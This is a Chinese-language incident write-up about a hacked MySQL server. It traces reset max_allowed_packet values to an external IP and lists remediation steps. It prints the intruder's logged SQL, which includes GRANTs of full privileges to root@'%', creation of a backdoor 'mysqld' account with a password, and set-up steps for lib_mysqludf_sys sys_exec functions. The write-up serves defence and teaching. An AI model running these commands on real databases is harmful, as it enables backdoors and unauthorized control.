【案例分享】关于MySQL数据库安全的一个案例

某业务反馈，由于MySQL数据库参数 max_allowed_packet 配置过小导致程序报错。
该参数在标准安装模板中已指定为20M，登录服务器检查，确实被修改了1M。
手动修改成20M后，几秒钟就又被修改为最大值。 于是怀疑该数据库服务器已被黑。
启general_log 日志，分析发现参数修改后，一段时间后会被自动修改。

分析日志记录： 有多次修改该参数的记录 ID 58367
[root@ip-XXX 3306]# cat ip-XXX.log|grep max_allowed_packet=

            58367 Query     SET GLOBAL max_allowed_packet=1073741824
            58367 Query     SET GLOBAL max_allowed_packet=1073741824
            58367 Query     SET GLOBAL max_allowed_packet=1073741824
            58367 Query     SET GLOBAL max_allowed_packet=1073741824

在数据库的processlist中找到该连接，可以看到来自 1.180.214.71 这个IP

该IP非业务IP，来自内蒙

通过分析日志，发现黑客进行了建立小号、授予super权限、建立存过调用外部命令等一系列操作。

此类问题的处理方法：
1、立即修改root用户密码
2、对所有用户的IP和权限做限制，保证最小范围
3、删除非业务的恶意账号
4、加强云服务器的安全管理和网络访问控制
5、定期做操作系统安全检查，如使用安全扫描工具

看看程序都干了啥：
[root@ip-*** 3306]# cat ip-***.log|grep 58367
root@1.180.214.71 on 
show variables like "%plugin%"
show variables like "%plugin%"
SELECT @@version_compile_os
show variables like '%version_compile_machine%'
GRANT  ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW,
DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, 
REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON  *.* TO 'root'@'%' WITH GRANT OPTION
FLUSH PRIVILEGES
FLUSH PRIVILEGES
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE VIEW, DELETE, DROP, 
EVENT, EXECUTE, INDEX, INSERT, LOCK TABLES, REFERENCES, SELECT, SHOW VIEW, TRIGGER, UPDATE ON `mysql`.* 
TO 'root'@'%' WITH GRANT OPTION
FLUSH PRIVILEGES
FLUSH PRIVILEGES
insert into mysql.user(Host,User,Password) values("%","mysqld",password("654321*a"))
FLUSH PRIVILEGES
CREATE USER 'mysqld'@'%' IDENTIFIED BY PASSWORD '*83D34C89B8E0F100D54C6D9276D357DB43E8779F'
GRANT  ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW,
 DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, 
 REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON  *.* TO 'mysqld'@'%' WITH GRANT OPTION
FLUSH PRIVILEGES
FLUSH PRIVILEGES
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE VIEW, DELETE, DROP, 
EVENT, EXECUTE, INDEX, INSERT, LOCK TABLES, REFERENCES, SELECT, SHOW VIEW, TRIGGER, UPDATE ON `mysql`.* 
TO 'mysqld'@'%' WITH GRANT OPTION
FLUSH PRIVILEGES
FLUSH PRIVILEGES
set global log_bin_trust_function_creators=1
set global log_bin_trust_function_creators=TRUE
FLUSH PRIVILEGES
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info
DROP FUNCTION IF EXISTS sys_get
DROP FUNCTION IF EXISTS sys_set
DROP FUNCTION IF EXISTS sys_exec
SET GLOBAL max_allowed_packet=1073741824
FLUSH PRIVILEGES
SET GLOBAL max_allowed_packet=1073741824
FLUSH PRIVILEGES
GRANT  ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, 
DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, 
REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON  *.* TO 'root'@'%' WITH GRANT OPTION
FLUSH PRIVILEGES
FLUSH PRIVILEGES
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE VIEW, DELETE, DROP, 
EVENT, EXECUTE, INDEX, INSERT, LOCK TABLES, REFERENCES, SELECT, SHOW VIEW, TRIGGER, UPDATE ON `mysql`.* 
TO 'root'@'%' WITH GRANT OPTION
FLUSH PRIVILEGES
FLUSH PRIVILEGES
set global log_bin_trust_function_creators=1
set global log_bin_trust_function_creators=TRUE
FLUSH PRIVILEGES
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info
DROP FUNCTION IF EXISTS sys_get
DROP FUNCTION IF EXISTS sys_set
DROP FUNCTION IF EXISTS sys_exec
FLUSH PRIVILEGES
SET GLOBAL max_allowed_packet=1073741824
FLUSH PRIVILEGES
SET GLOBAL max_allowed_packet=1073741824